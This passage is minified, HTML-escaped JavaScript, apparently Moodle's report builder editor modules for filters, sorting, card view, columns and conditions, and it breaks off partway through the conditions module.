define(&quot;core_reportbuilder/local/editor/filters&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/event_dispatcher&quot;,&quot;core/inplace_editable&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/prefetch&quot;,&quot;core/sortable_list&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core/toast&quot;,&quot;core_reportbuilder/local/events&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core_reportbuilder/local/repository/filters&quot;],(function(_exports,_jquery,_custom_interaction_events,_event_dispatcher,_inplace_editable,_notification,_pending,_prefetch,_sortable_list,_str,_templates,_toast,reportEvents,reportSelectors,_filters){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_sortable_list=_interopRequireDefault(_sortable_list),_templates=_interopRequireDefault(_templates),reportEvents=_interopRequireWildcard(reportEvents),reportSelectors=_interopRequireWildcard(reportSelectors);const reloadSettingsFiltersRegion=(reportElement,templateContext)=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/filters:reload&quot;),settingsFiltersRegion=reportElement.querySelector(reportSelectors.regions.settingsFilters);return _templates.default.renderForPromise(&quot;core_reportbuilder/local/settings/filters&quot;,{filters:templateContext}).then((_ref=&gt;{let{html:html,js:js}=_ref;_templates.default.replaceNode(settingsFiltersRegion,html,js),initFiltersForm();const reportAddFilter=reportElement.querySelector(reportSelectors.actions.reportAddFilter);return null==reportAddFilter||reportAddFilter.focus(),pendingPromise.resolve()}))},initFiltersForm=()=&gt;{_custom_interaction_events.default.define(reportSelectors.actions.reportAddFilter,[_custom_interaction_events.default.events.accessibleChange])};_exports.init=initialized=&gt;{((0,_prefetch.prefetchStrings)(&quot;core_reportbuilder&quot;,[&quot;deletefilter&quot;,&quot;deletefilterconfirm&quot;,&quot;filteradded&quot;,&quot;filterdeleted&quot;,&quot;filtermoved&quot;]),(0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;delete&quot;]),initFiltersForm(),initialized)||((0,_jquery.default)(document).on(_custom_interaction_events.default.events.accessibleChange,reportSelectors.actions.reportAddFilter,(event=&gt;{const reportAddFilter=event.target.closest(reportSelectors.actions.reportAddFilter);if(reportAddFilter){if(event.preventDefault(),0===reportAddFilter.selectedIndex)return;const reportElement=reportAddFilter.closest(reportSelectors.regions.report),pendingPromise=new _pending.default(&quot;core_reportbuilder/filters:add&quot;);(0,_filters.addFilter)(reportElement.dataset.reportId,reportAddFilter.value).then((data=&gt;reloadSettingsFiltersRegion(reportElement,data))).then((()=&gt;(0,_str.get_string)(&quot;filteradded&quot;,&quot;core_reportbuilder&quot;,reportAddFilter.options[reportAddFilter.selectedIndex].text))).then(_toast.add).then((()=&gt;pendingPromise.resolve())).catch(_notification.default.exception)}})),document.addEventListener(&quot;click&quot;,(event=&gt;{const reportRemoveFilter=event.target.closest(reportSelectors.actions.reportRemoveFilter);if(reportRemoveFilter){event.preventDefault();const reportElement=reportRemoveFilter.closest(reportSelectors.regions.report),filterContainer=reportRemoveFilter.closest(reportSelectors.regions.activeFilter),filterName=filterContainer.dataset.filterName;_notification.default.saveCancelPromise((0,_str.get_string)(&quot;deletefilter&quot;,&quot;core_reportbuilder&quot;,filterName),(0,_str.get_string)(&quot;deletefilterconfirm&quot;,&quot;core_reportbuilder&quot;,filterName),(0,_str.get_string)(&quot;delete&quot;,&quot;core&quot;),{triggerElement:reportRemoveFilter}).then((()=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/filters:remove&quot;);return(0,_filters.deleteFilter)(reportElement.dataset.reportId,filterContainer.dataset.filterId).then((data=&gt;reloadSettingsFiltersRegion(reportElement,data))).then((()=&gt;(0,_toast.add)((0,_str.get_string)(&quot;filterdeleted&quot;,&quot;core_reportbuilder&quot;,filterName)))).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement),pendingPromise.resolve()))).catch(_notification.default.exception)})).catch((()=&gt;{}))}})),new _sortable_list.default(&quot;&quot;.concat(reportSelectors.regions.activeFilters,&quot; ul&quot;),{isHorizontal:!1}).getElementName=element=&gt;Promise.resolve(element.data(&quot;filterName&quot;)),(0,_jquery.default)(document).on(_sortable_list.default.EVENTS.DROP,&quot;&quot;.concat(reportSelectors.regions.report,&quot; li[data-filter-id]&quot;),((event,info)=&gt;{if(info.positionChanged){const pendingPromise=new _pending.default(&quot;core_reportbuilder/filters:reorder&quot;),reportElement=event.target.closest(reportSelectors.regions.report),filterId=info.element.data(&quot;filterId&quot;),filterPosition=info.element.data(&quot;filterPosition&quot;);let targetFilterPosition=info.targetNextElement.data(&quot;filterPosition&quot;)||info.element.siblings().length+2;targetFilterPosition&gt;filterPosition&amp;&amp;targetFilterPosition--,(0,_filters.reorderFilter)(reportElement.dataset.reportId,filterId,targetFilterPosition).then((data=&gt;reloadSettingsFiltersRegion(reportElement,data))).then((()=&gt;(0,_str.get_string)(&quot;filtermoved&quot;,&quot;core_reportbuilder&quot;,info.element.data(&quot;filterName&quot;)))).then(_toast.add).then((()=&gt;pendingPromise.resolve())).catch(_notification.default.exception)}})))}}));
define(&quot;core_reportbuilder/local/editor/sorting&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/inplace_editable&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/pubsub&quot;,&quot;core/sortable_list&quot;,&quot;core/str&quot;,&quot;core/toast&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core_reportbuilder/local/repository/sorting&quot;,&quot;core/templates&quot;,&quot;core/event_dispatcher&quot;,&quot;core_reportbuilder/local/events&quot;],(function(_exports,_jquery,_inplace_editable,_notification,_pending,_pubsub,_sortable_list,_str,_toast,reportSelectors,_sorting,_templates,_event_dispatcher,reportEvents){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_sortable_list=_interopRequireDefault(_sortable_list),reportSelectors=_interopRequireWildcard(reportSelectors),_templates=_interopRequireDefault(_templates),reportEvents=_interopRequireWildcard(reportEvents);const SORTORDER_ASCENDING=4,SORTORDER_DESCENDING=3,reloadSettingsSortingRegion=context=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/sorting:reload&quot;),settingsSortingRegion=document.querySelector(reportSelectors.regions.settingsSorting);return _templates.default.renderForPromise(&quot;core_reportbuilder/local/settings/sorting&quot;,{sorting:context}).then((_ref=&gt;{let{html:html,js:js}=_ref;return _templates.default.replaceNode(settingsSortingRegion,html,js),pendingPromise.resolve()}))},updateSorting=(reportElement,element,sortenabled,sortdirection)=&gt;{const reportId=reportElement.dataset.reportId,listElement=element.closest(&quot;li&quot;),columnId=listElement.dataset.columnSortId,columnName=listElement.dataset.columnSortName;return(0,_sorting.toggleColumnSorting)(reportId,columnId,sortenabled,sortdirection).then(reloadSettingsSortingRegion).then((()=&gt;(0,_str.get_string)(&quot;columnsortupdated&quot;,&quot;core_reportbuilder&quot;,columnName))).then(_toast.add).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement),null)))};_exports.init=initialized=&gt;{initialized||((0,_pubsub.subscribe)(reportEvents.publish.reportColumnsUpdated,(data=&gt;reloadSettingsSortingRegion(data).catch(_notification.default.exception))),document.addEventListener(&quot;click&quot;,(event=&gt;{const toggleSorting=event.target.closest(reportSelectors.actions.reportToggleColumnSort);if(toggleSorting){event.preventDefault();const pendingPromise=new _pending.default(&quot;core_reportbuilder/sorting:toggle&quot;),reportElement=toggleSorting.closest(reportSelectors.regions.report),sortdirection=parseInt(toggleSorting.closest(&quot;li&quot;).dataset.columnSortDirection);updateSorting(reportElement,toggleSorting,toggleSorting.checked,sortdirection).then((()=&gt;{const toggleSortingElement=document.getElementById(toggleSorting.id);return null==toggleSortingElement||toggleSortingElement.focus(),pendingPromise.resolve()})).catch(_notification.default.exception)}const toggleSortDirection=event.target.closest(reportSelectors.actions.reportToggleColumnSortDirection);if(toggleSortDirection){event.preventDefault();const pendingPromise=new _pending.default(&quot;core_reportbuilder/sorting:direction&quot;),reportElement=toggleSortDirection.closest(reportSelectors.regions.report),listElement=toggleSortDirection.closest(&quot;li&quot;),sortenabled=listElement.dataset.columnSortEnabled;let sortdirection=parseInt(listElement.dataset.columnSortDirection);sortdirection===SORTORDER_ASCENDING?sortdirection=SORTORDER_DESCENDING:sortdirection===SORTORDER_DESCENDING&amp;&amp;(sortdirection=SORTORDER_ASCENDING),updateSorting(reportElement,toggleSortDirection,sortenabled,sortdirection).then((()=&gt;{const toggleSortDirectionElement=document.getElementById(toggleSortDirection.id);return null==toggleSortDirectionElement||toggleSortDirectionElement.focus(),pendingPromise.resolve()})).catch(_notification.default.exception)}})),new _sortable_list.default(&quot;&quot;.concat(reportSelectors.regions.settingsSorting,&quot; ul&quot;),{isHorizontal:!1}).getElementName=element=&gt;Promise.resolve(element.data(&quot;columnSortName&quot;)),(0,_jquery.default)(document).on(_sortable_list.default.EVENTS.DROP,&quot;&quot;.concat(reportSelectors.regions.report,&quot; li[data-column-sort-id]&quot;),((event,info)=&gt;{if(info.positionChanged){const pendingPromise=new _pending.default(&quot;core_reportbuilder/sorting:reorder&quot;),reportElement=event.target.closest(reportSelectors.regions.report),columnId=info.element.data(&quot;columnSortId&quot;),columnPosition=info.element.data(&quot;columnSortPosition&quot;);let targetColumnSortPosition=info.targetNextElement.data(&quot;columnSortPosition&quot;)||info.element.siblings().length+2;targetColumnSortPosition&gt;columnPosition&amp;&amp;targetColumnSortPosition--,(0,_sorting.reorderColumnSorting)(reportElement.dataset.reportId,columnId,targetColumnSortPosition).then(reloadSettingsSortingRegion).then((()=&gt;(0,_str.get_string)(&quot;columnsortupdated&quot;,&quot;core_reportbuilder&quot;,info.element.data(&quot;columnSortName&quot;)))).then(_toast.add).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement),null))).then((()=&gt;pendingPromise.resolve())).catch(_notification.default.exception)}})))}}));
define(&quot;core_reportbuilder/local/editor/card_view&quot;,[&quot;exports&quot;,&quot;core_form/dynamicform&quot;,&quot;core/toast&quot;,&quot;core/str&quot;,&quot;core/pubsub&quot;,&quot;core/notification&quot;,&quot;core_reportbuilder/local/events&quot;,&quot;core_reportbuilder/local/selectors&quot;],(function(_exports,_dynamicform,_toast,_str,_pubsub,_notification,reportEvents,reportSelectors){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_dynamicform=_interopRequireDefault(_dynamicform),_notification=_interopRequireDefault(_notification),reportEvents=_interopRequireWildcard(reportEvents),reportSelectors=_interopRequireWildcard(reportSelectors);let cardViewForm=null;_exports.init=initialized=&gt;{(()=&gt;{const cardViewFormContainer=document.querySelector(reportSelectors.regions.settingsCardView);cardViewFormContainer&amp;&amp;(cardViewForm=new _dynamicform.default(cardViewFormContainer,&quot;\\core_reportbuilder\\form\\card_view&quot;),cardViewForm.addEventListener(cardViewForm.events.FORM_SUBMITTED,(event=&gt;{event.preventDefault(),(0,_str.get_string)(&quot;cardviewsettingssaved&quot;,&quot;core_reportbuilder&quot;).then(_toast.add).catch(_notification.default.exception)})))})(),initialized||(0,_pubsub.subscribe)(reportEvents.publish.reportColumnsUpdated,(()=&gt;{const reportElement=document.querySelector(reportSelectors.regions.report);cardViewForm.load({reportid:reportElement.dataset.reportId})}))}}));
define(&quot;core_reportbuilder/local/editor/columns&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/event_dispatcher&quot;,&quot;core/inplace_editable&quot;,&quot;core/local/inplace_editable/events&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/prefetch&quot;,&quot;core/pubsub&quot;,&quot;core/sortable_list&quot;,&quot;core/str&quot;,&quot;core/toast&quot;,&quot;core_reportbuilder/local/events&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core_reportbuilder/local/repository/columns&quot;,&quot;core_reportbuilder/local/repository/sorting&quot;],(function(_exports,_jquery,_event_dispatcher,_inplace_editable,_events,_notification,_pending,_prefetch,_pubsub,_sortable_list,_str,_toast,reportEvents,reportSelectors,_columns,_sorting){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_sortable_list=_interopRequireDefault(_sortable_list),reportEvents=_interopRequireWildcard(reportEvents),reportSelectors=_interopRequireWildcard(reportSelectors);_exports.init=initialized=&gt;{((0,_prefetch.prefetchStrings)(&quot;core_reportbuilder&quot;,[&quot;columnadded&quot;,&quot;columnaggregated&quot;,&quot;columndeleted&quot;,&quot;columnmoved&quot;,&quot;deletecolumn&quot;,&quot;deletecolumnconfirm&quot;]),(0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;delete&quot;]),initialized)||(document.addEventListener(&quot;click&quot;,(event=&gt;{const reportAddColumn=event.target.closest(reportSelectors.actions.reportAddColumn);if(reportAddColumn){event.preventDefault();const pendingPromise=new _pending.default(&quot;core_reportbuilder/columns:add&quot;),reportElement=reportAddColumn.closest(reportSelectors.regions.report);(0,_columns.addColumn)(reportElement.dataset.reportId,reportAddColumn.dataset.uniqueIdentifier).then((data=&gt;(0,_pubsub.publish)(reportEvents.publish.reportColumnsUpdated,data))).then((()=&gt;(0,_str.get_string)(&quot;columnadded&quot;,&quot;core_reportbuilder&quot;,reportAddColumn.dataset.name))).then(_toast.add).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{preservePagination:!0},reportElement),pendingPromise.resolve()))).catch(_notification.default.exception)}const reportRemoveColumn=event.target.closest(reportSelectors.actions.reportRemoveColumn);if(reportRemoveColumn){event.preventDefault();const reportElement=reportRemoveColumn.closest(reportSelectors.regions.report),columnHeader=reportRemoveColumn.closest(reportSelectors.regions.columnHeader),columnName=columnHeader.dataset.columnName;_notification.default.saveCancelPromise((0,_str.get_string)(&quot;deletecolumn&quot;,&quot;core_reportbuilder&quot;,columnName),(0,_str.get_string)(&quot;deletecolumnconfirm&quot;,&quot;core_reportbuilder&quot;,columnName),(0,_str.get_string)(&quot;delete&quot;,&quot;core&quot;),{triggerElement:reportRemoveColumn}).then((()=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/columns:remove&quot;);return(0,_columns.deleteColumn)(reportElement.dataset.reportId,columnHeader.dataset.columnId).then((data=&gt;(0,_pubsub.publish)(reportEvents.publish.reportColumnsUpdated,data))).then((()=&gt;(0,_toast.add)((0,_str.get_string)(&quot;columndeleted&quot;,&quot;core_reportbuilder&quot;,columnName)))).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{preservePagination:!0},reportElement),pendingPromise.resolve()))).catch(_notification.default.exception)})).catch((()=&gt;{}))}})),new _sortable_list.default(&quot;&quot;.concat(reportSelectors.regions.reportTable,&quot; thead tr&quot;),{isHorizontal:!0}).getElementName=element=&gt;Promise.resolve(element.data(&quot;columnName&quot;)),(0,_jquery.default)(document).on(_sortable_list.default.EVENTS.DRAG,&quot;&quot;.concat(reportSelectors.regions.report,&quot; th[data-column-id]&quot;),((event,info)=&gt;{const reportElement=event.target.closest(reportSelectors.regions.report),columnPosition=info.element.data(&quot;columnPosition&quot;),targetColumnPosition=info.targetNextElement.data(&quot;columnPosition&quot;);(0,_jquery.default)(reportElement).find(&quot;tbody tr&quot;).each((function(){const cell=(0,_jquery.default)(this).children(&quot;td.c&quot;.concat(columnPosition-1))[0];if(targetColumnPosition){var beforeCell=(0,_jquery.default)(this).children(&quot;td.c&quot;.concat(targetColumnPosition-1))[0];this.insertBefore(cell,beforeCell)}else this.appendChild(cell)}))})),(0,_jquery.default)(document).on(_sortable_list.default.EVENTS.DROP,&quot;&quot;.concat(reportSelectors.regions.report,&quot; th[data-column-id]&quot;),((event,info)=&gt;{if(info.positionChanged){const pendingPromise=new _pending.default(&quot;core_reportbuilder/columns:reorder&quot;),reportElement=event.target.closest(reportSelectors.regions.report),columnId=info.element.data(&quot;columnId&quot;),columnName=info.element.data(&quot;columnName&quot;),columnPosition=info.element.data(&quot;columnPosition&quot;);let targetColumnPosition=info.targetNextElement.data(&quot;columnPosition&quot;)||info.element.siblings().length+2;targetColumnPosition&gt;columnPosition&amp;&amp;targetColumnPosition--,(0,_columns.reorderColumn)(reportElement.dataset.reportId,columnId,targetColumnPosition).then((()=&gt;(0,_str.get_string)(&quot;columnmoved&quot;,&quot;core_reportbuilder&quot;,columnName))).then(_toast.add).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{preservePagination:!0},reportElement),pendingPromise.resolve()))).catch(_notification.default.exception)}})),document.addEventListener(_events.eventTypes.elementUpdated,(event=&gt;{const columnAggregation=event.target.closest(&#039;[data-itemtype=&quot;columnaggregation&quot;]&#039;);if(columnAggregation){const pendingPromise=new _pending.default(&quot;core_reportbuilder/columns:aggregate&quot;),reportElement=columnAggregation.closest(reportSelectors.regions.report),columnHeader=columnAggregation.closest(reportSelectors.regions.columnHeader);(0,_str.get_string)(&quot;columnaggregated&quot;,&quot;core_reportbuilder&quot;,columnHeader.dataset.columnName).then(_toast.add).then((()=&gt;{const columnAggregationLink=&#039;[data-itemtype=&quot;columnaggregation&quot;][data-itemid=&quot;&#039;+&quot;&quot;.concat(columnAggregation.dataset.itemid,&#039;&quot;] &gt; a&#039;);return(0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{preserveTriggerElement:columnAggregationLink},reportElement),(0,_sorting.getColumnSorting)(reportElement.dataset.reportId)})).then((data=&gt;(0,_pubsub.publish)(reportEvents.publish.reportColumnsUpdated,data))).then((()=&gt;pendingPromise.resolve())).catch(_notification.default.exception)}})))}}));
define(&quot;core_reportbuilder/local/editor/conditions&quot;,[&quot;exports&quot;,&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;core/event_dispatcher&quot;,&quot;core/inplace_editable&quot;,&quot;core/notification&quot;,&quot;core/pending&quot;,&quot;core/prefetch&quot;,&quot;core/sortable_list&quot;,&quot;core/str&quot;,&quot;core/templates&quot;,&quot;core/toast&quot;,&quot;core_form/dynamicform&quot;,&quot;core_reportbuilder/local/events&quot;,&quot;core_reportbuilder/local/selectors&quot;,&quot;core_reportbuilder/local/repository/conditions&quot;],(function(_exports,_jquery,_custom_interaction_events,_event_dispatcher,_inplace_editable,_notification,_pending,_prefetch,_sortable_list,_str,_templates,_toast,_dynamicform,reportEvents,reportSelectors,_conditions){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_jquery=_interopRequireDefault(_jquery),_custom_interaction_events=_interopRequireDefault(_custom_interaction_events),_notification=_interopRequireDefault(_notification),_pending=_interopRequireDefault(_pending),_sortable_list=_interopRequireDefault(_sortable_list),_templates=_interopRequireDefault(_templates),_dynamicform=_interopRequireDefault(_dynamicform),reportEvents=_interopRequireWildcard(reportEvents),reportSelectors=_interopRequireWildcard(reportSelectors);const reloadSettingsConditionsRegion=(reportElement,templateContext)=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/conditions:reload&quot;),settingsConditionsRegion=reportElement.querySelector(reportSelectors.regions.settingsConditions);return _templates.default.renderForPromise(&quot;core_reportbuilder/local/settings/conditions&quot;,{conditions:templateContext}).then((_ref=&gt;{let{html:html,js:js}=_ref;_templates.default.replaceNode(settingsConditionsRegion,html,js+templateContext.javascript),initConditionsForm();const reportAddCondition=reportElement.querySelector(reportSelectors.actions.reportAddCondition);return null==reportAddCondition||reportAddCondition.focus(),pendingPromise.resolve()}))},initConditionsForm=()=&gt;{_custom_interaction_events.default.define(reportSelectors.actions.reportAddCondition,[_custom_interaction_events.default.events.accessibleChange]);const reportElement=document.querySelector(reportSelectors.regions.report),conditionFormContainer=reportElement.querySelector(reportSelectors.regions.settingsConditions);if(!conditionFormContainer)return;const conditionForm=new _dynamicform.default(conditionFormContainer,&quot;\\core_reportbuilder\\form\\condition&quot;);conditionForm.addEventListener(conditionForm.events.FORM_SUBMITTED,(event=&gt;{event.preventDefault(),(0,_str.get_string)(&quot;conditionsapplied&quot;,&quot;core_reportbuilder&quot;).then(_toast.add).catch(_notification.default.exception),(0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement)})),conditionForm.addEventListener(conditionForm.events.NOSUBMIT_BUTTON_PRESSED,(event=&gt;{event.preventDefault(),_notification.default.saveCancelPromise((0,_str.get_string)(&quot;resetconditions&quot;,&quot;core_reportbuilder&quot;),(0,_str.get_string)(&quot;resetconditionsconfirm&quot;,&quot;core_reportbuilder&quot;),(0,_str.get_string)(&quot;resetall&quot;,&quot;core_reportbuilder&quot;),{triggerElement:event.detail}).then((()=&gt;{const pendingPromise=new _pending.default(&quot;core_reportbuilder/conditions:reset&quot;);return(0,_conditions.resetConditions)(reportElement.dataset.reportId).then((data=&gt;reloadSettingsConditionsRegion(reportElement,data))).then((()=&gt;(0,_toast.add)((0,_str.get_string)(&quot;conditionsreset&quot;,&quot;core_reportbuilder&quot;)))).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement),pendingPromise.resolve()))).catch(_notification.default.exception)})).catch((()=&gt;{}))}))};_exports.init=initialized=&gt;{((0,_prefetch.prefetchStrings)(&quot;core_reportbuilder&quot;,[&quot;conditionadded&quot;,&quot;conditiondeleted&quot;,&quot;conditionmoved&quot;,&quot;conditionsapplied&quot;,&quot;conditionsreset&quot;,&quot;deletecondition&quot;,&quot;deleteconditionconfirm&quot;,&quot;resetall&quot;,&quot;resetconditions&quot;,&quot;resetconditionsconfirm&quot;]),(0,_prefetch.prefetchStrings)(&quot;core&quot;,[&quot;delete&quot;]),initConditionsForm(),initialized)||((0,_jquery.default)(document).on(_custom_interaction_events.default.events.accessibleChange,reportSelectors.actions.reportAddCondition,(event=&gt;{const reportAddCondition=event.target.closest(reportSelectors.actions.reportAddCondition);if(reportAddCondition){if(event.preventDefault(),0===reportAddCondition.selectedIndex)return;const reportElement=reportAddCondition.closest(reportSelectors.regions.report),pendingPromise=new _pending.default(&quot;core_reportbuilder/conditions:add&quot;);(0,_conditions.addCondition)(reportElement.dataset.reportId,reportAddCondition.value).then((data=&gt;reloadSettingsConditionsRegion(reportElement,data))).then((()=&gt;(0,_str.get_string)(&quot;conditionadded&quot;,&quot;core_reportbuilder&quot;,reportAddCondition.options[reportAddCondition.selectedIndex].text))).then(_toast.add).then((()=&gt;((0,_event_dispatcher.dispatchEvent)(reportEvents.tableReload,{},reportElement),pendingPromise.resolve()))).catch(_notification.default.exception)}})),document.addEventListener(&quot;click&quot;,(event=&gt;{const reportRemoveCondition=event.target.closest(reportSelectors.actions.reportRemoveCondition);if(reportRemoveCondition){event.preventDefault();const reportElement=reportRemoveCondition.closest(reportSelectors.regions.report),conditionContainer=reportRemoveCondition.closest(reportSelectors.regions.activeCondition),conditionName=conditionContainer.dataset.conditionName;_notification.default.saveCancelPromise((0,_str.get_string)(&quot;deletecondition&quot;,&quot;core_reportbuilder&quot;,conditionName),(0,_str.get_string)(&quot;deleteconditionconfirm&quot;,&quot;core_reportbuilder&quot;,conditionName),(0,_str.get_string)(&quot;delete&quot;,&quot;core&quot;),{triggerElement:reportRemoveCondition}).then((()=&gt;{const pendingPromise=new 